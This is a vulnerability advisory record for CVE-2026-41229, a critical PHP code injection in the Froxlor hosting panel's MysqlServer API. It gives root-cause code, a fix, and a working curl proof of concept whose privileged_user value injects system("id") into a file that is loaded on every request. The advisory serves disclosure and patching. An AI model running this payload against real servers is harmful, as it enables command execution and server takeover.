{"id":"CVE-2026-41229","aliases":["GHSA-gc9w-cc93-rjv8"],"url":"https://o3.security/vulnerability/CVE-2026-41229","summary":"Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)","details":"## Summary\n\n`PhpHelper::parseArrayToString()` writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with `change_serversettings` permission adds or updates a MySQL server via the API, the `privileged_user` parameter (which has no input validation) is written unescaped into `lib/userdata.inc.php`. Since this file is `require`d on every request via `Database::getDB()`, an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.\n\n## Details\n\nThe root cause is in `PhpHelper::parseArrayToString()` at `lib/Froxlor/PhpHelper.php:486`:\n\n```php\n// lib/Froxlor/PhpHelper.php:475-487\nforeach ($array as $key => $value) {\n    if (!is_array($value)) {\n        if (is_bool($value)) {\n            $str .= self::tabPrefix($depth, sprintf(\"'%s' => %s,\\n\", $key, $value ? 'true' : 'false'));\n        } elseif (is_int($value)) {\n            $str .= self::tabPrefix($depth, \"'{$key}' => $value,\\n\");\n        } else {\n            if ($key == 'password') {\n                // special case for passwords (nowdoc)\n                $str .= self::tabPrefix($depth, \"'{$key}' => <<<'EOT'\\n{$value}\\nEOT,\\n\");\n            } else {\n                // VULNERABLE: $value interpolated without escaping single quotes\n                $str .= self::tabPrefix($depth, \"'{$key}' => '{$value}',\\n\");\n            }\n        }\n    }\n}\n```\n\nNote that the `password` key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including `user`, `caption`, and `caFile` — are written directly into single-quoted PHP string literals with no escaping.\n\nThe attack path through `MysqlServer::add()` (`lib/Froxlor/Api/Commands/MysqlServer.php:80`):\n\n1. `validateAccess()` (line 82) checks the caller is an admin with `change_serversettings`\n2. `privileged_user` is read via `getParam()` at line 88 with **no validation** applied\n3. `mysql_ca` is also read with no validation at line 86\n4. The values are placed into the `$sql_root` array at lines 150-160\n5. `generateNewUserData()` is called at line 162, which calls `PhpHelper::parseArrayToPhpFile()` → `parseArrayToString()`\n6. The result is written to `lib/userdata.inc.php` via `file_put_contents()` (line 548)\n7. Setting `test_connection=0` (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed\n\nThe generated `userdata.inc.php` is loaded on **every request** via `Database::getDB()` at `lib/Froxlor/Database/Database.php:431`:\n\n```php\nrequire Froxlor::getInstallDir() . \"/lib/userdata.inc.php\";\n```\n\nThe `MysqlServer::update()` method (line 337) has the identical vulnerability with `privileged_user` at line 387.\n\n## PoC\n\n**Step 1: Inject PHP code via MysqlServer.add API**\n\n```bash\ncurl -s -X POST https://froxlor.example/api.php \\\n  -u 'ADMIN_APIKEY:ADMIN_APISECRET' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"command\": \"MysqlServer.add\",\n    \"params\": {\n      \"mysql_host\": \"127.0.0.1\",\n      \"mysql_port\": 3306,\n      \"privileged_user\": \"x'\\''.system(\\\"id\\\").'\\''\",\n      \"privileged_password\": \"anything\",\n      \"description\": \"test\",\n      \"test_connection\": 0\n    }\n  }'\n```\n\nThis writes the following into `lib/userdata.inc.php`:\n\n```php\n'user' => 'x'.system(\"id\").'',\n```\n\n**Step 2: Trigger code execution**\n\nAny subsequent HTTP request to the Froxlor panel triggers `Database::getDB()`, which `require`s `userdata.inc.php`, executing `system(\"id\")` as the web server user:\n\n```bash\ncurl -s https://froxlor.example/\n```\n\nThe `id` output will appear in the response (or can be captured via out-of-band methods for blind execution).\n\n**Step 3: Cleanup (attacker would also clean up)**\n\nThe injected code runs on every request until `userdata.inc.php` is regenerated or manually fixed.\n\n## Impact\n\nAn admin with `change_serversettings` permission can escalate to **arbitrary OS command execution** as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:\n\n- **Full server compromise**: Execute arbitrary commands as the web server user (typically `www-data`)\n- **Data exfiltration**: Read all hosted customer data, databases credentials, TLS private keys\n- **Lateral movement**: Access all MySQL databases using credentials stored in `userdata.inc.php`\n- **Persistent backdoor**: The injected code executes on every request, providing persistent access\n- **Denial of service**: Malformed PHP in `userdata.inc.php` can break the entire panel\n\nThe `description` field (validated with `REGEX_DESC_TEXT = /^[^\\0\\r\\n<>]*$/`) and `mysql_ca` field (no validation) are also injectable vectors through the same code path.\n\n## Recommended Fix\n\nEscape single quotes in `PhpHelper::parseArrayToString()` before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only `\\'` and `\\\\` are interpreted, so both must be escaped:\n\n```php\n// lib/Froxlor/PhpHelper.php:486\n// Before (vulnerable):\n$str .= self::tabPrefix($depth, \"'{$key}' => '{$value}',\\n\");\n\n// After (fixed) - escape backslashes first, then single quotes:\n$escaped = str_replace(['\\\\', \"'\"], ['\\\\\\\\', \"\\\\'\"], $value);\n$str .= self::tabPrefix($depth, \"'{$key}' => '{$escaped}',\\n\");\n```\n\nAlternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety:\n\n```php\n// Apply nowdoc to all string values, not just passwords:\n$str .= self::tabPrefix($depth, \"'{$key}' => <<<'EOT'\\n{$value}\\nEOT,\\n\");\n```\n\nAdditionally, consider adding input validation to `privileged_user` and `mysql_ca` in `MysqlServer::add()` and `MysqlServer::update()` as defense-in-depth.","published":"2026-04-23T03:44:25.617Z","modified":"2026-08-12T03:51:36.982203071Z","cvss":{"score":9.1,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"},"epss":{"score":0.0048,"percentile":0.39113,"asOf":"2026-08-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"froxlor/froxlor","fixedVersion":"2.3.6"}],"fix":{"url":"https://github.com/froxlor/froxlor/commit/3589ddf93ab59eb2a8971f0f56cbf6266d03c4ae","label":"froxlor/froxlor@3589ddf"},"references":[{"type":"WEB","url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41229.json"},{"type":"ADVISORY","url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-gc9w-cc93-rjv8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41229"},{"type":"FIX","url":"https://github.com/froxlor/froxlor/commit/3589ddf93ab59eb2a8971f0f56cbf6266d03c4ae"},{"type":"PACKAGE","url":"https://github.com/froxlor/froxlor"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:36.982203071Z"}}